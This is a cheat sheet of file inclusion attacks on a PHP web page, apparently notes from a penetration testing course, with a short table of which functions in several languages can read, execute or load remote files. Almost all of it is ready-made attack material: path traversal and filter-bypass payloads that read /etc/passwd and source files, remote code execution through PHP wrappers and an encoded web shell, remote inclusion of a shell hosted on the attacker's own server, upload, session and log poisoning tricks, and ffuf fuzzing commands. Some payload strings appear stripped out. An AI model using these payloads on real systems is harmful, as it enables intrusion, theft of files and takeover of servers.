File Inclusions CheetList

Local File Inclusion (LFI)

Basic LFI

- **Basic LFI**

``/index.php?language=/etc/passwd

- **LFI with path traversal**

``/index.php?language=../../../../etc/passwd

- **LFI with name prefix**

``/index.php?language=/../../../etc/passwd

- **LFI with approved path**

``/index.php?language=./languages/../../../../etc/passwd

LFI Bypasses

- Bypass basic path traversal filter

``/index.php?language=....//....//....//....//etc/passwd

- Bypass filters with URL encoding

``/index.php?
language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

- Read PHP with base64 filter

``/index.php?language=php://filter/read=convert.base64-encode/resource=config

Remote Code Execution (RCE)

PHP Wrappers

- RCE with data wrapper

``/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

- RCE with input wrapper

``curl -s -X POST --data '' "http://<SERVER_IP>:/index.php?language=php://input&cmd=id"

- RCE with expect wrapper

``curl -s "http://<SERVER_IP>:/index.php?language=expect://id"

RFI

- Host web shell

``echo '' > shell.php && python3 -m http.server <LISTENING_PORT>

- Include remote PHP web shell

``/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

LFI + Upload

- Create malicious image

`` echo 'GIF8' > shell.gif

- RCE with malicious uploaded image

`` /index.php?language=./profile_images/shell.gif&cmd=id

- Create malicious zip archive 'as jpg'

`` echo '' > shell.php && zip shell.jpg shell.php

- RCE with malicious uploaded zip

``/index.php?language=zip://shell.zip%23shell.php&cmd=id

- Create malicious phar 'as jpg'

`` php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

- RCE with malicious uploaded phar

``/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

Log Poisoning

- Read PHP session parameters

`` /index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

- Poison PHP session with web shell

``/index.php?
language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E

- RCE through poisoned PHP session

`` /index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id

- Poison server log

`` curl -s "http://<SERVER_IP>:/index.php" -A ''

- RCE through poisoned PHP session

`` /index.php?language=/var/log/apache2/access.log&cmd=id

Commands

- Fuzz page parameters

`` ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:/index.php?FUZZ=value' -fs 2287

- Fuzz LFI payloads

`` ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:/index.php?language=FUZZ' -fs 2287

- Fuzz webroot path

`` ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:/index.php?language=../../../../FUZZ/index.php' -fs 2287

- Fuzz server configurations

`` ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:/index.php?language=../../../../FUZZ' -fs 2287

File Inclusion Functions

Function	Read Content	Execute	Remote URL
PHP			
`include()` / `include_once()`	✅	✅	✅
`require()` / `require_once()`	✅	✅	❌
`file_get_contents()`	✅	❌	✅
`fopen()` / `file()`	✅	❌	❌
NodeJS			
`fs.readFile()`	✅	❌	❌
`fs.sendFile()`	✅	❌	❌
`res.render()`	✅	✅	❌
Java			
`include`	✅	❌	❌
`import`	✅	✅	✅
.NET			
`@Html.Partial()`	✅	❌	❌
`@Html.RemotePartial()`	✅	❌	✅
`Response.WriteFile()`	✅	❌	❌
`include`	✅	✅	✅

Lista de configuraciones de server (Windows):

https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows

Lista de configuraciones de server (Linux):

https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux

LFI Wordlist:

https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI